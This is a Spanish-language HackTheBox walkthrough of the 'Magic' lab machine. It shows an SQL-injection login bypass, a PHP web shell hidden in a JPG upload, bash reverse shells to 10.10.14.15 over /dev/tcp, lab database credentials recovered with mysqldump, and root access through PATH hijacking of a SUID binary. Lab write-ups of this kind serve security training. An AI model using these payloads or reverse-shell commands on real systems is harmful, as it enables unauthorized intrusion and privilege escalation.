Skip to main content

Command Palette

Search for a command to run...

HackTheBox - Magic

Updated
6 min readView as Markdown
HackTheBox - Magic

Reconocimiento

El escaneo inicial con nmap muestra los puertos 22 y 80 abiertos:

# Nmap 7.94SVN scan initiated Mon Oct 21 11:51:56 2024 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v -oN scan 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.10s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80/tcp

┌──(root㉿kali)-[/home/noc/htb/magic/nmap]
└─# whatweb http://10.10.10.185       
http://10.10.10.185 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.185], JQuery, Script, Title[Magic Portfolio]

Login redirige a /login.php:

Las credenciales por defecto, como admin/admin, no permiten acceder. Sin embargo, al probar una inyección SQL básica con ' or 1=1-- - y cualquier contraseña, es posible evitar la autenticación y obtener acceso al panel de inicio de sesión.

La inyección SQL ' or 1=1-- funciona porque manipula la consulta SQL que se ejecuta en el servidor. Por lo general, cuando ingresas un nombre de usuario y una contraseña, el sistema verifica las credenciales mediante una consulta SQL como:

SELECT * FROM usuarios WHERE username='admin' AND password='contraseña';

Al introducir ' or 1=1-- en el campo de nombre de usuario, la consulta cambia a:

SELECT * FROM usuarios WHERE username='' OR 1=1 -- AND password='cualquier_contraseña';

Lo que ocurre aquí es que la condición OR 1=1 siempre es verdadera (ya que 1=1 siempre se cumple). Esto significa que la verificación del nombre de usuario se vuelve irrelevante, ya que la parte OR hace que la consulta siempre devuelva resultados.

Además, el -- indica el inicio de un comentario en SQL, lo que hace que el resto de la consulta (incluyendo la verificación de la contraseña) sea ignorada. Es importante tener en cuenta que debe haber un espacio después de -- para que sea reconocido correctamente como comentario.

Como resultado, la base de datos devuelve la primera fila de la tabla de usuarios (generalmente la del administrador), y el acceso se concede sin necesidad de conocer la contraseña real.

Tras iniciar sesión, /upload.php tiene una funcionalidad para subir imágenes:

Las extensiones de archivo válidas son:

Tratando de subir una reverse shell en php cambiando la extensión .php a .php.jpg no funciona:

Shell como www-data

Se descarga un jpg cualquiera:

En mitad del jpg se inserta utilizando un editor como vi o nano el siguiente código: <?php system($_GET[cmd]); ?>

Pero no funciona, la página trata el archivo como una imagen y no como un archivo php, por lo que no ejecuta <?php system($_GET[cmd]); ?>.

Renombrando gato.jpg a gato.php.jpg:

Y accediendo a http://10.10.10.185/images/uploads/gato.php.jpg?cmd=id, se ejecuta:

Para obtener una shell: bash -c 'bash -i >%26 /dev/tcp/10.10.14.15/4444 0>%261' (hay que urlencodear los &)

Mejora de la TTY:

script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
                    reset xterm
export TERM=xterm
export SHELL=bash
stty rows <x> columns <y>

Listando los usuarios existentes:

www-data@magic:/var/www/Magic/images/uploads$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash

www-data –> theseus

En /var/www/Magic, db.php5 parece tener credenciales de una base de datos:

www-data@magic:/var/www/Magic$ cat db.php5 
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

No se puede utilizar mysql, pero hay otras utilidades disponibles:

www-data@magic:/var/www/Magic$ mysql

Command 'mysql' not found, but can be installed with:

apt install mysql-client-core-5.7   
apt install mariadb-client-core-10.1

Ask your administrator to install one of them.

www-data@magic:/var/www/Magic$ mysql
mysql_config_editor        mysql_plugin               mysql_tzinfo_to_sql        mysqlanalyze               mysqld                     mysqldump                  mysqloptimize              mysqlreport
mysql_embedded             mysql_secure_installation  mysql_upgrade              mysqlbinlog                mysqld_multi               mysqldumpslow              mysqlpump                  mysqlshow
mysql_install_db           mysql_ssl_rsa_setup        mysqladmin                 mysqlcheck                 mysqld_safe                mysqlimport                mysqlrepair                mysqlslap

mysqldump hace una copia de seguridad de la base de datos, obteniendo así nuevas credenciales:

www-data@magic:/var/www/Magic$ mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: Magic
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2024-10-21 13:18:09

Th3s3usW4sK1ng resulta ser la contraseña del usuario theseus:

www-data@magic:/var/www/Magic$ su theseus
Password: 
theseus@magic:/var/www/Magic$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)

theseus –> root

Con linpeas.sh se ve que /bin/sysinfo tiene el bit SUID activado:

theseus@magic:/tmp$ ls -la /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

El binario /bin/sysinfo realiza un diagnóstico del sistema, incluyendo detalles de hardware, discos, CPU y uso de memoria.

theseus@magic:/var/www/Magic/images/uploads$ strings /bin/sysinfo
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
_ZNSt13runtime_errorC1EPKc
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
__gxx_personality_v0
__cxa_allocate_exception
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZNSt8ios_base4InitC1Ev
_ZTISt13runtime_error
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
__cxa_throw
_ZNSt13runtime_errorD1Ev
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
__cxa_free_exception
_ZSt4cout
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
libgcc_s.so.1
_Unwind_Resume
libc.so.6
setuid
__stack_chk_fail
popen
fgets
__cxa_atexit
pclose
__cxa_finalize
setgid
__libc_start_main
GCC_3.0
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
GLIBC_2.4
GLIBC_2.2.5
%z! 
%r! 
%j! 
%b! 
%Z! 
%R! 
%J! 
%B! 
%:! 
%2! 
%*! 
=Q! 
=O  
ATSH
[A\]
ATSH
 [A\]
ATSH
 [A\]
AWAVI
AUATL
[]A\A]A^A_
popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h

Algunos comandos están siendo ejecutados con binarios de manera relativa, es decir, sin la ruta absoluta, como en el caso de fdisk -l. El binario /bin/sysinfo tiene el bit SUID activado, lo que permite que sea ejecutado con privilegios de root. Esto abre una posibilidad de escalar privilegios mediante la manipulación del PATH, aprovechando el hecho de que el sistema está buscando los binarios en los directorios definidos en la variable de entorno PATH.

El objetivo es que, al ejecutar sysinfo, se utilice un archivo fdisk malicioso, previamente inyectado en el PATH, que nos otorgue una shell con privilegios de root.

theseus@magic:/var/www/Magic/images/uploads$ which fdisk
/sbin/fdisk
theseus@magic:/var/www/Magic/images/uploads$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
theseus@magic:/var/www/Magic/images/uploads$ cd /tmp
theseus@magic:/tmp$ touch fdisk
theseus@magic:/tmp$ nano fdisk
theseus@magic:/tmp$ cat fdisk 
#!/bin/bash

/bin/bash -i >& /dev/tcp/10.10.14.15/4444 0>&1
theseus@magic:/tmp$ chmod +x fdisk 
theseus@magic:/tmp$ export PATH=/tmp:$PATH
theseus@magic:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Al ejecutar de nuevo /bin/sysinfo se consigue que el sistema ejecute nuestro archivo fdisk malicioso, obteniendo así una shell de root.

theseus@magic:/tmp$ sysinfo